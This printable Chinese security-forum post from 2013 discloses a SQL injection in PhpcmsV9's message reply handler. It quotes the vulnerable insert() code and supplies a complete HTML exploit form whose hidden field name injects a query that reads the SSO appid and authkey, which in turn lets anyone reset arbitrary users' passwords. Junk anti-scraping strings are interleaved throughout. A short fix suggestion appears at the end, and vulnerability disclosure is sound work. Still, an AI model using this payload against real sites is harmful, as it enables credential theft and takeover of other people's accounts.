中国网络渗透测试联盟
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
[打印本页]
作者:
admin
时间:
2013-2-23 11:33
标题:
PhpcmsV9 SQL注射修改任意用户密码漏洞
简要描述:
6 W- y3 `6 C. }. E4 N
( i' v( E) m; r' e' l
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
' {. h* M+ M L9 |( M
! M- W; q5 I0 V, X$ b" ^1 P4 Q
明天再更新下一个漏洞。
4 i j# k, a8 g$ H% J
详细说明:
! V2 h* |1 v i9 u
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
$ A( [' e" q1 g2 b F( l) n' z
7 g. t( _; c Q" @. ?/ A; L
$messageid = $this->message_db->insert($_POST['info'],true);
; x9 |! {( F! J* d9 S6 N
/ a/ d# Q& h! }( F3 f4 D+ ]2 ?* \
+ [- J& x; e% g0 w# M$ J& f& j; D
insert方法是key value的,代码如下:
3 c* N! c0 G& E: E2 f
% O8 u' G% j* ~+ L3 f
public function insert($data, $table, $return_insert_id = false, $replace = false) {
, `" p0 f3 g) O' i7 d1 g2 `
if(!is_array( $data ) || $table == '' || count($data) == 0) {
/ N# h% c+ z' } a
return false;
: f1 _ `% ~# q: q
}
- S9 _& x# ]3 v; v* x4 m/ c$ Y
3 E3 E% b" `! r
$fielddata = array_keys($data);
2 |4 X" Q/ Y8 [
$valuedata = array_values($data);
+ R$ d' i S* Q/ g+ L* Y
array_walk($fielddata, array($this, 'add_special_char'));
' w, }( O! ?/ d$ s# b
array_walk($valuedata, array($this, 'escape_string'));
3 ?6 Q5 R6 P& _7 A
9 e2 V) K( m4 J& h
$field = implode (',', $fielddata);
: F. f7 u2 m7 D% y& B2 L. T u
$value = implode (',', $valuedata);
9 [$ E$ p) u* g" j- T
. j& O G' `+ x
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
5 K" c9 m; i% i8 O
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
+ e& S9 B. P N" j5 W' Q, W+ E
$return = $this->execute($sql);
! r ~3 B4 r. _# q! w* q' q
return $return_insert_id ? $this->insert_id() : $return;
! `% L7 m: v# M, i/ Q' }$ ]+ q
}
; Y# m! u1 j. L: }8 o
' D8 Q: U* q% ]' V; `
4 e+ {3 H3 Z- G4 y
嗯,很遗憾的是
$ h1 ^; C# N, V4 q* \( }- d
1 Q. i/ B' q- [# k
array_walk($fielddata, array($this, 'add_special_char'));
3 n: ^. X5 W( q/ t4 F1 m8 ~
+ k/ i- v8 Z' A1 f6 R
7 Q5 i* t e0 q8 L k( F5 F4 d' |
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
/ K5 p0 x3 q0 @8 R" q8 J
" u9 c( }) Y7 I B% R
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
9 L% q! u% [+ x; i
2 m$ L1 \: [* _
漏洞证明:
0 I) ~: h9 |" v2 f
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
, J. H) @' t2 E3 y" {
[attach]200[/attach]
' X2 G4 N! J" E
; e5 Q! y6 R6 H2 w. L0 }
表单如下:用户名什么的得自己改一改。
' Q; A, f$ R! J5 g; U9 R) X
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
, S. m' s9 v G" g1 K/ e
<table width="100%" cellspacing="0" class="table_form">
% G' a( @7 D- t) Q
<tr>
* C% ~) \ s& X( j9 t* M, l: B
<th>标 题:</th>
' @1 A5 D5 L3 T( j7 k) ] A
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
$ |, S* a4 K s$ _. a4 b" D5 ~+ y
</tr>
% ~4 J4 y; n, C, q7 H
<tr>
; J7 R5 M" H4 W9 }: [2 u# J6 b4 K1 u
<th>内 容:</th>
/ Q. F4 G0 N' _, f
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
$ N' O6 ~! a5 M* N* g$ D" Z
</tr>
) C2 R; S6 e2 j$ _' ~
<input type="hidden" name="info[replyid]" value="2" />
# b4 j" \7 N& E& Q& Q7 F
<input type="hidden" name="info[send_to_id]" value="cc" />
7 |( T) F4 G+ k5 }) l* P; N% ?' M# c
<input type="hidden" name="info[send_from_id]" value="hh">
0 {: C2 O: c" \9 \
<!-- 漏洞的利用重点在这里开始 -->
7 X# ^# i( Q H& F5 Q8 z5 X: \
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
0 G2 Z( k! Q) Z$ {4 ~) q
<!-- 漏洞的利用重点在这里结束 -->
* I/ V. a& E, {4 w8 v8 X2 x
<tr>
* Y6 K) L& v! a1 B
<th>验证码:</th>
8 c% W% J* T6 f2 K& o
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
+ U- {4 ]1 B8 w) b
</tr>
O$ t; r. E& g0 @
<tr>
I3 L+ |0 j2 Z7 K# N; m5 P, M
<td></td>
# ~3 g3 u5 h6 N9 n& L9 {
<td colspan="2"><label>
/ ]! b: @6 D8 G5 F/ Y; f/ {
<input type="submit" name="
dos
ubmit" id="dosubmit" value="确 定" class="button"/>
0 O! u" g" O) K; u% r
</label></td>
& p2 Z9 K; K& ~: F- _" v
</tr>
9 c7 J3 b: p7 C
</table>
) [: ?1 y! y" N4 u
</form>
2 E5 O; y5 f: k# Z! H
在add_special_char函数内对key做过滤就可以了。
, [2 O7 F2 m3 [
, U. _+ c, ]2 ~' y: c7 v, O
: n7 \- E2 `% F. [* N
* G6 I' [7 N( O2 H! |
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2